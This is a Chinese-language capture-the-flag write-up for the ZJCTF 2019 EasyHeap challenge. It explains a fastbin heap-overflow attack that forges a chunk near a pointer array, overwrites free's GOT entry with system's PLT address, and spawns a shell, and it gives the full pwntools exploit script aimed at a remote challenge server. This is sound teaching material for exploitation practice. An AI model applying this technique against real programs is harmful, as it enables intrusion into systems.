[ZJCTF 2019]EasyHeap

[ZJCTF 2019]EasyHeap简单堆溢出

拿到题目,我们先看一下保护机制:

1

看来,有些东西是可以写的,拖入IDA查看反汇编代码:

2

看来是堆溢出漏洞了,我们得利用堆溢出,操控修改free的got表,题目已经提供过了system的plt和got表,也就是说,我们不用泄露地址了,直接将free的got表里面的值修改成system的plt表,就能实现,调用free函数,即为调用system函数,那关键的问题,如何控制free的got表,直接控制是不可取的,因为就算我们溢出修改已经free的chunk的fd指针至free的got表 - 0x10,也无法将其再次申请过来(过不了fastbins 申请的验证),所以不能直接控制,但是,只要能改写了heaparray数组就可以了,因为该数组里面都是指向申请的堆的数据区的指针,所以我们在heaparray数组地址的前面找一块能过fastbins 申请的验证的区域,伪造一个chunk,然后编辑这个chunk,使其溢出至heaparray数组,将free的got表地址写入heaparray数组,进而控制free的got表内容,我们找呀找,看到了这个:

3

只要我们申请的堆的大小是0x60就可以过验证了,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'

#sh = process("./easyheap")
sh = remote("node5.buuoj.cn",27376)

elf = ELF("./easyheap")
free_got = elf.got["free"]

def create(size,cont):
sh.recvuntil(":")
sh.sendline("1")
sh.recvuntil(":")
sh.sendline(str(size))
sh.recvuntil(":")
sh.sendline(cont)

def edit(index,size,cont):
sh.recvuntil(":")
sh.sendline("2")
sh.recvuntil(":")
sh.sendline(str(index))
sh.recvuntil(":")
sh.sendline(str(size))
sh.recvuntil(":")
sh.sendline(cont)

def dele(index):
sh.recvuntil(":")
sh.sendline("3")
sh.recvuntil(":")
sh.sendline(str(index))


create(0x60,"deadbeef")
create(0x60,"deadbeef")
create(0x60,"deadbeef")

dele(1)

tieshu_addr = 0x6020ad
payload = "A"*(0x60) + p64(0) + p64(0x71) + p64(tieshu_addr) #改写free的chunk的fd指针

edit(0,0x100,payload)
create(0x60,"deadbeef")
create(0x60,"deadbeef") #将目标区域当作堆申请出来

payload = "/bin/sh\x00" + "A"*(0x23-0x8) + p64(free_got)
edit(3,0x200,payload) #溢出改写heaparray数组的值,使我们控制free_got表

system_plt = elf.plt["system"]

edit(0,0x8,p64(system_plt)) #改写free_got表

dele(3)
#gdb.attach(sh)
sh.interactive()